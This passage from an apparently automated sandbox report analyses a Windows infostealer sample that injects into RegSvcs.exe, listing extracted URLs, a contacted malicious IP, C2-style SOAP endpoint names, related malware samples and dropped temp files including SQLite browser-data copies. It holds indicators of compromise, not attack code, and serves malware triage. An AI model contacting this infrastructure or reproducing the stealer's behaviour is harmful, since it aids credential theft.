https://api.ip.sb/geoip%USERPEnvironmentROFILE%	yGu4YUwMl6.exe, 00000000.00000002.1769436422.00000000040F8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, RegSvcs.exe, 00000003.00000002.1867602795.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.ip.sb	RegSvcs.exe, 00000003.00000002.1869525432.00000000028F0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	tmpBB13.tmp.3.dr, tmp848F.tmp.3.dr, tmp845D.tmp.3.dr, tmp846D.tmp.3.dr, tmp84BF.tmp.3.dr, tmp844C.tmp.3.dr, tmp848E.tmp.3.dr, tmp4D59.tmp.3.dr, tmp4D7B.tmp.3.dr, tmp843B.tmp.3.dr, tmp4D6A.tmp.3.dr, tmp847E.tmp.3.dr	false		high
http://tempuri.org/Endpoint/CheckConnect	RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	tmpBB13.tmp.3.dr, tmp848F.tmp.3.dr, tmp845D.tmp.3.dr, tmp846D.tmp.3.dr, tmp84BF.tmp.3.dr, tmp844C.tmp.3.dr, tmp848E.tmp.3.dr, tmp4D59.tmp.3.dr, tmp4D7B.tmp.3.dr, tmp843B.tmp.3.dr, tmp4D6A.tmp.3.dr, tmp847E.tmp.3.dr	false		high
http://tempuri.org/Endpoint/SetEnviron	RegSvcs.exe, 00000003.00000002.1869525432.0000000002C7E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.carterandcone.coml	yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	tmpBB13.tmp.3.dr, tmp848F.tmp.3.dr, tmp845D.tmp.3.dr, tmp846D.tmp.3.dr, tmp84BF.tmp.3.dr, tmp844C.tmp.3.dr, tmp848E.tmp.3.dr, tmp4D59.tmp.3.dr, tmp4D7B.tmp.3.dr, tmp843B.tmp.3.dr, tmp4D6A.tmp.3.dr, tmp847E.tmp.3.dr	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/frere-user.html	yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/GetUpdatesResponse	RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/	yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers8	yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	tmpBB13.tmp.3.dr, tmp848F.tmp.3.dr, tmp845D.tmp.3.dr, tmp846D.tmp.3.dr, tmp84BF.tmp.3.dr, tmp844C.tmp.3.dr, tmp848E.tmp.3.dr, tmp4D59.tmp.3.dr, tmp4D7B.tmp.3.dr, tmp843B.tmp.3.dr, tmp4D6A.tmp.3.dr, tmp847E.tmp.3.dr	false		high
http://schemas.xmlsoap.org/soap/actor/next	RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.222.58.44	unknown	Netherlands		51447	ROOTLAYERNETNL	true
104.26.12.31	api.ip.sb.cdn.cloudflare.net	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1621303
Start date and time:	2025-02-21 19:25:34 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	yGu4YUwMl6.exe renamed because original name is a hash value
Original Sample Name:	1161b525009e7448837a658eecc04275.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/44@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 76 Number of non-executed functions: 16
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.19.106.160, 52.149.20.212, 13.107.246.60
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
13:26:32	API Interceptor	1x Sleep call for process: yGu4YUwMl6.exe modified
13:26:42	API Interceptor	36x Sleep call for process: RegSvcs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.12.31	VKJITO.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	ip.sb/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ip.sb.cdn.cloudflare.net	824-1824-0x0000000000620000-0x0000000000A98000-memory.dmp.exe	Get hash	malicious	RedLine	Browse	172.67.75.172
	3612-1418-0x00000000009F0000-0x0000000000E68000-memory.dmp.exe	Get hash	malicious	RedLine	Browse	104.26.12.31
	Implosions.exe	Get hash	malicious	RedLine	Browse	172.67.75.172
	3368-1493-0x0000000000AB0000-0x0000000000F28000-memory.dmp.exe	Get hash	malicious	RedLine	Browse	104.26.13.31
	Implosions.exe	Get hash	malicious	RedLine	Browse	104.26.12.31
	TxTPu961er.exe	Get hash	malicious	Amadey, RedLine, Stealc	Browse	172.67.75.172
	NWzeEUBQ7F.exe	Get hash	malicious	RedLine	Browse	172.67.75.172
	A18OkaGxHz.exe	Get hash	malicious	RedLine	Browse	104.26.12.31
	Uv4EriqDCj.exe	Get hash	malicious	RedLine	Browse	104.26.12.31
	nePPsHIZ1m.exe	Get hash	malicious	RedLine	Browse	104.26.13.31

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Reliablecontrols_Pduncan.pdf	Get hash	malicious	HTMLPhisher	Browse	172.64.41.3
	http://globalbpnproject.net	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://rvrteam.com/	Get hash	malicious	Unknown	Browse	172.67.142.245
	https://forms.microsoft.com/e/fhhfp2jwjX	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.17.25.14
	https://www.dropbox.com/scl/fi/ewypv44bwb67h97z8mo2b/You-have-receievd-a-new-document.paper?rlkey=2q43w5jslqmoczf75abn7siaq&dl=0	Get hash	malicious	Unknown	Browse	104.16.99.29
	http://node-red.org	Get hash	malicious	Unknown	Browse	104.21.96.1
	FW Microsoft subscription purchase confirmation.msg	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://56a1a721.8ce395d20e6a84048459b0f5.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	172.67.173.86
	https://56a1a721.8ce395d20e6a84048459b0f5.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	172.67.173.86
	https://mhxfer.filetransfers.net/files/download/41422037	Get hash	malicious	Unknown	Browse	1.1.1.1
ROOTLAYERNETNL	NWzeEUBQ7F.exe	Get hash	malicious	RedLine	Browse	45.137.22.234
	A18OkaGxHz.exe	Get hash	malicious	RedLine	Browse	45.137.22.234
	Uv4EriqDCj.exe	Get hash	malicious	RedLine	Browse	185.222.58.36
	nePPsHIZ1m.exe	Get hash	malicious	RedLine	Browse	45.137.22.165
	3WSFIhTu1M.exe	Get hash	malicious	RedLine	Browse	185.222.58.254
	qJ64p5G1XJ.exe	Get hash	malicious	RedLine	Browse	45.137.22.227
	chTJmCR9bS.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	185.222.57.84
	RFQ.exe	Get hash	malicious	Quasar, PureLog Stealer	Browse	185.222.57.67
	p0GiAimtNm.exe	Get hash	malicious	RedLine	Browse	185.222.58.237
	nzLoHpgAln.exe	Get hash	malicious	RedLine	Browse	185.222.57.76

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	CHEMICAL LIST.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	104.26.12.31
	AWB_3570456515#U00b7PDF.scr.exe	Get hash	malicious	MSIL Logger	Browse	104.26.12.31
	Swift Copy_19.02.2025.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.26.12.31
	Swift Copy_19.02.2025.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.26.12.31
	[ID] Statement of Accounts-XXXXX4250-200220252003060444.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.26.12.31
	INV76280.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.26.12.31
	rAntephialtic.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.26.12.31
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	Snake Keylogger	Browse	104.26.12.31
	rfacturapendiente.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.26.12.31
	invoice for payment request.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.26.12.31

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2666
Entropy (8bit):	5.345804351520589
Encrypted:	false
SSDEEP:	48:MOfHK5HKxHKdHK8THaAHKzecYHKh3oPtHo6nmHKtXooBHKoHzHZHpH8HKx1qHxLU:vq5qxqdqolqztYqh3oPtI6mq7qoT5JcE
MD5:	7ADCF08EB89A57934E566936815936CF
SHA1:	C164331AA17656919323F4464BC1FC1EB1B8CA90
SHA-256:	848A610C0FC09EF83A3DFC86A453C9B6F81DAA2A89779529254577F818E68933
SHA-512:	54EB0F3313760BC4C88C736C5CE57B1890BBCD00376445B3BFC3BB17C6ACBCE22700491D96B6E7E926892555B2AC0C62F0C31557F0E00C00EA38D225228212D3
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"SMDiagnostics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\a3127677749631df61e96a8400ddcb87\System.Runtime.Serialization.ni.dll",0..2,"System.ServiceModel.Internals, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral,

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\yGu4YUwMl6.exe.log

Download File

Process:	C:\Users\user\Desktop\yGu4YUwMl6.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Temp\tmp1596.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\tmp15A6.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\Temp\tmp15A7.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\tmp15A8.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\Temp\tmp270A.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp271A.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp272B.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp273B.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
